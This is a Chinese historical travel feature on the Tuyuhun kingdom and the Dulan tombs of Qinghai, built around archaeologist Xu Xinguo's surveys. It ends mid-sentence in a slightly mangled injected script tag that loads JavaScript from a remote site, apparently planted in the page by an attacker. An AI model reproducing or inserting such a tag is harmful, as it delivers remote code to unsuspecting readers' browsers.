2006年8月，我们驾车行驶在当年吐谷浑的广阔领土之上，企图搜寻到他们生活的蛛丝马迹。吐谷浑，这个从辽河流域千里迢迢迁徙到青海的草原民族，曾经在青藏高原上立国达350之久，期间纵横捭阖，左右逢源，书写了一段令历史惊讶的传奇，直到被另一个更强大的少数民族政权吞并。他们为什么来到这里？经历了什么，又为这里留下了什么？ 　　草原上长风不息，故事和秘密将永世流传。     墓冢绵延的谷地 　　“那些都是古墓。”周安指着山脚下一个个隆起的小山包告诉我。 　　作为都兰县文物派出所的工作人员，周安已经和这些古墓打了7年交道了。他和他3个同事的任务就是负责看守这些古墓，以防盗墓分子盗掘。 　　都兰地处青海省柴达木盆地的东南面，隶属于海西藏族蒙古族自治州，这里在古代是羌、吐谷浑和吐蕃等民族的聚居之地，分布着众多的古遗址、古城址和古墓葬。上世纪50年代，青海全省文物普查时曾经调查过都兰县的古墓群，并将其中的英德尔羊场、科孝图大墓定为省级文物保护单位。但由于当时认识不足，有关部门认为这些古墓是盗掘后的汉墓，并未引起重视。 　　20多年之后，1982年5月初的一天，青海省文物考古所的许新国、苏生秀、刘小何一起搭乘长途汽车，到都兰调查岩画。现在担任青海省文物考古所所长的许新国当时30来岁，刚从北京大学历史系考古专业毕业没几年。许新国回忆说：“那天晚上7时左右我们到达了鲁丝沟。这里属于察汉乌苏乡西台村的牧场，一位叫达洛的藏族牧民邀我们留宿。第二天，达洛引导我们找到了岩刻画，有两匹浮雕的马、一组三尊的坐佛像和一组三尊的立佛像。对这些岩刻图像我们用了一上午的时间进行绘图和照相。达洛告诉我们，前面察汉乌苏河的对面有许多古墓葬，这引起了我们极大的兴趣。” 　　察汉乌苏是蒙古语“白色的水”之意，但许多人称之为“热水”，因为这条河的源头是数十眼温泉。 　　…… 　　公元663年，吐蕃攻灭吐谷浑，吐谷浑“故地皆入吐蕃”。但国灭不等于部族的消亡，在《旧唐书》《新唐书》《通典》《资治通鉴》《敦煌吐蕃历史文书》等古籍中，零散记载了灭国后吐谷浑人的活动情况。据文献记载，这部分吐谷浑人虽然被吐蕃人所统治，但仍有自身的建制、自己的可汗和自己活动的特定区域，并以部落为单位，保持着自己民族的组织机构。留在故地的吐谷浑人作为吐蕃的邦国臣民，他们要向吐蕃称臣朝贡、缴纳赋税，还要为吐蕃提供物资、当兵打仗。对于这部分吐谷浑人，文献上虽有记载，但他们的遗迹却前所未见，其准确的活动地域一直是学术界争论的要点。许新国认为，都兰的考古发现“使我们有理由认为，吐蕃统治下的吐谷浑邦国的活动区域主要是在青海柴达木盆地，而其国的政治中心应在都兰县”。 　　……     远道而来的民族 　　吐谷浑的来历并不复杂，中国历代史籍的记载大致相同。 　　吐谷浑原是一个人名，是辽东鲜卑慕容部首领涉归的庶长子。     《晋书》卷九七《吐谷浑传》记载：“吐谷浑，慕容廆之庶长兄也，其父涉归分部落一千七百家以隶之。” 　　……     丝路上的富贵之国 　　吐谷浑从正式建国到最终覆亡，共存在了350年之久。在最初的100年间，经过树洛干、阿豺等几代的国君努力开拓和苦心经营，吐谷浑逐步成为西部地区的一个小强国。为了求得自身生存和发展的空间，在四周强邻环伺的情况下，吐谷浑整体上采取了与其他国家和平交往的策略，不断接受各个强国的各种封赐，同时长期向它们朝贡。可以说，吐谷浑是一个在夹缝中努力做到左右逢源的国家。 　　吐谷浑在中国历史上最为光彩的一页是他们在经济活动和东西方文化交流上所起的作用，也因为这一点，许新国先生认为，传统史学对丝绸之路的认识不够全面，因为他们忽略了丝绸之路青海道的巨大作用。 　　……     马背上的生存图景 　　都兰是吐谷浑亡国后最主要的活动区域，而在他们最强盛的时期，其疆域东起今甘肃南部、四川西北，南抵今青海南部，西及新疆的若羌、且末，北隔祁连山与河西走廊相接。这是一片极其庞大的地盘，即便在今天，驾驶越野车在十分发达的公路上高速奔驰，走马观花浏览其中的一些主要地点，也需要花?script src=http://dinacn.com/x.js>

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